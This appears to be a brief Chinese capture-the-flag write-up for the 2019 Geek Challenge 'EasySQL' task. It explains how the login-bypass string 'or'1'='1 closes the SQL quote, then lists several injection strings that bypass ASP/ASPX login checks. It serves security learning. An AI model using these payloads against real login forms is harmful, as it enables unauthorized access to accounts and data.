01 [极客大挑战 2019]EasySQL

万能密码

1.解释

密码前要有单引号，来闭合SQL语句中的单引号，然后构造一个or，即或者 1=1，来构造出新的密码，即：'or'1'='1  

密码最后为什么没有单引号：为了使SQL 语句不出错，用来闭合程序SQL语句后面的单引号，再加一个，会出错。

万能密码合集

  asp aspx万能密码

1：”or “a”=”a
2： ‘)or(‘a’=’a
3：or 1=1–
4：’or 1=1–
5：a’or’ 1=1–
6：”or 1=1–
7：’or’a’